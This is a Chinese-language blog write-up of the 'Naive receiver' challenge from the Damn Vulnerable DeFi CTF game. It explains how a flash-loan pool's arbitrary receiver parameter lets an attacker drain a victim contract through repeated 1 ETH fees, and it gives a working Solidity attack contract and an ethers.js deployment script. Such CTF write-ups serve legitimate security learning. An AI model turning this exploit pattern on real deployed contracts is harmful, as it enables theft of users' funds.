jiang

jiang

Man who has not escaped from low-class level taste.

DamnVulnerableDeFi-Naive receiver解題

概述#

Damn Vulnerable DeFi 是學習以太坊 DeFi 智能合約攻擊性安全的 CTF 遊戲。

該遊戲涵蓋了閃電貸、價格預言機、治理、非同質化代幣(NFT)、去中心化交易所(DEX)、借貸池、智能合約錢包、時間鎖等多種 DeFi 場景。

這種類似 CTF 的題目的遊戲非常適合初學者去學習 solidity/ethers.js 的開發。

挑戰題目描述網站:https://www.damnvulnerabledefi.xyz/
挑戰題目源碼地址:https://github.com/tinchoabbate/damn-vulnerable-defi

Naive receiver#

題目描述:
有一個餘額為 1000 ETH 的池子,提供閃電貸。它有一個固定的 1 ETH 手續費。

一個用戶部署了一個餘額為 10 ETH 的合約。它能夠與該池子互動並接收 ETH 的閃電貸。

將用戶合約中的所有 ETH 取出。如果可能,以一筆交易完成。

解析#

題意:題目的意思是說有一個提供閃電貸的池子,User 部署了一個 10 ETH 可以跟前面所說的池子互動的合約,我們需要攻擊用戶將用戶的 ETH 全部耗盡。

首先我們來看看閃電貸池子的合約:

image

我們可以觀察到閃電貸的接收者也就是 receiver 可以不是發起交易的 msg.sender,而是可以任意指定的滿足 IERC3156FlashBorrower 的池子。

而我們再去觀察 User 部署的合約發現合約已經實現了 IERC3156 標準。我們只需要一個 for 循環把 user 部署的合約地址執行 10 次閃電貸(每次手續費 1 ETH,User 部署時 deposit 了 10 ETH)就可以了。

题解#

題目要求是盡可能放在同一筆交易那麼我們需要部署一個合約。

AttackNaiveReceiver.sol

contract AttackNaiveReceiver {
    NaiveReceiverLenderPool pool;
    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address owner;

    constructor(address payable _pool, address _owner) {
        pool = NaiveReceiverLenderPool(_pool);
        owner = _owner;
    }

    function attack(address victim) public {
        require(msg.sender == owner, "only owner can attack");
        for (int i=0; i < 10; i++ ) {
            pool.flashLoan(IERC3156FlashBorrower(victim), ETH, 0 ether, "");
        }
    }
}

在 js 腳本中部署合約還有發起攻擊:

const attackContract = await ethers.getContractFactory('AttackNaiveReceiver', player);
        const attack = await attackContract.deploy(pool.address, player.address);
        await attack.attack(receiver.address);

完整題解地址:https://github.com/fenghaojiang/damn-vulnerable-defi

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。